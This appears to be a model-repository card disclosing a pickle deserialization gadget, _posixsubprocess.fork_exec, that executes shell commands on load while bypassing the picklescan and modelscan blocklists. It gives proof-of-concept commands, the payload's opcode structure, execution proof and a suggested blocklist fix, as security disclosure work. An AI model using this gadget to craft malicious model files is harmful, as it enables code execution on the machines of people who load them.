YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

NEW pickle RCE gadget: _posixsubprocess.fork_exec β€” the C fork+exec primitive under subprocess, in NEITHER scanner's blocklist

Category: Pickle deserialization RCE / model-scanner bypass (new gadget) Affected scanners (bypassed): picklescan 1.0.5, modelscan 0.8.8 Trigger runtime: CPython 3.12.13 (_posixsubprocess C extension); reproduced via pickle.load Payload: 141-byte pickle protocol 4 (evil.pkl, payload id)


Summary

_posixsubprocess.fork_exec is the low-level fork()+exec() primitive that the entire stdlib subprocess machinery funnels through:

# CPython Lib/subprocess.py
from _posixsubprocess import fork_exec as _fork_exec
...
self.pid = _fork_exec(args, executable_list, close_fds, tuple(sorted(...)),
                      cwd, env_list, p2cread, p2cwrite, c2pread, c2pwrite,
                      errread, errwrite, errpipe_read, errpipe_write,
                      restore_signals, start_new_session, process_group,
                      gid, gids, uid, umask, preexec_fn, _USE_VFORK)

It is a module-level callable in the C extension _posixsubprocess and is present in neither scanner's dangerous-globals list. A pickle whose only global is _posixsubprocess.fork_exec spawns an arbitrary process directly on pickle.load, achieving command execution while both scanners report 0 issues.

The gadget hands fork_exec a fully-constant argument tuple β€” argv [b'/bin/sh', b'-c', b'<cmd>'], keep the always-open stdio fds (0,1,2), point the error pipe at fd 2 β€” so no runtime file-descriptor allocation is needed and the entire exploit is self-contained pickle data.

Why this bypasses both scanners

Both scanners are opcode allow/deny lists keyed on the (module, name) of GLOBAL/STACK_GLOBAL opcodes. They block the high-level process modules but not the syscall wrapper they all delegate to:

  • modelscan 0.8.8 β€” unsafe_globals blocks os, posix, nt, subprocess, pty, runpy, socket, … but has no _posixsubprocess entry. The single global _posixsubprocess.fork_exec is unlisted β†’ "No issues found! πŸŽ‰".
  • picklescan 1.0.5 β€” _unsafe_globals blocks os:'*', posix:'*', nt:'*', subprocess:'*', pty:'*', ctypes:'*', … but has no _posixsubprocess entry. _posixsubprocess.fork_exec is reported only as Suspicious (not Dangerous) β†’ Infected files: 0.

The blocklists cover every user-facing way to spawn a process, yet miss the common C primitive underneath them all.

Distinctness

Distinct module and distinct primitive from every previously-filed stdlib gadget (uuid._get_command_stdout, mailcap.findmatch, multiprocessing MakeProxyType, operator.methodcaller+ctypes.CDLL, numpy.ctypeslib, marshal.loads+FunctionType, codeop.compile_command, doctest, pathlib+SourceFileLoader, dataclasses._create_fn, logging.config.fileConfig / dictConfig, pydoc.pipepager, timeit, cProfile, os.spawnv, inspect.getattr_static, typing.get_type_hints). This is the raw fork_exec C entry point β€” no eval, no string-resolution, no higher-level module.

Root cause

The scanners deny the process-spawning modules (os/posix/subprocess/pty) but not the shared C implementation _posixsubprocess.fork_exec that those modules import and call. A pickle can name it directly and pass a constant argv, so the exec target rides entirely in pickle data reachable from a single REDUCE.

PoC

python gen_poc.py 'id'      # writes evil.pkl
python -c "import pickle; pickle.load(open('evil.pkl','rb'))"

Verified execution (real pickle.load, CPython 3.12.13)

The child ran id, output captured via id > /tmp/POSIXSUB_PROOF 2>&1:

PROOF: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...

Negative control

A benign pickle ({"weights":[1,2,3],"name":"model"}) creates no proof file β€” confirming execution comes from the fork_exec reduce, not from loading itself.

modelscan 0.8.8

--- Summary ---
 No issues found! πŸŽ‰

picklescan 1.0.5

----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 1     # _posixsubprocess.fork_exec -> Suspicious (NOT Dangerous)
Dangerous globals: 0

Opcode evidence

The only global in the stream is _posixsubprocess / fork_exec; argv rides as inert SHORT_BINBYTES:

STACK_GLOBAL                      # '_posixsubprocess' + 'fork_exec'
SHORT_BINBYTES b'/bin/sh'
SHORT_BINBYTES b'-c'
SHORT_BINBYTES b'id > ...'

Suggested fix

Add _posixsubprocess (*, or at least fork_exec) to both scanners' dangerous-globals blocklists alongside os/posix/subprocess/pty. Consider also _winapi.CreateProcess on Windows. Users: never pickle.load/joblib.load untrusted artifacts.

Files

  • evil.pkl β€” 141-byte proof-of-concept pickle (payload id)
  • gen_poc.py β€” regenerates the pickle for an arbitrary command
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support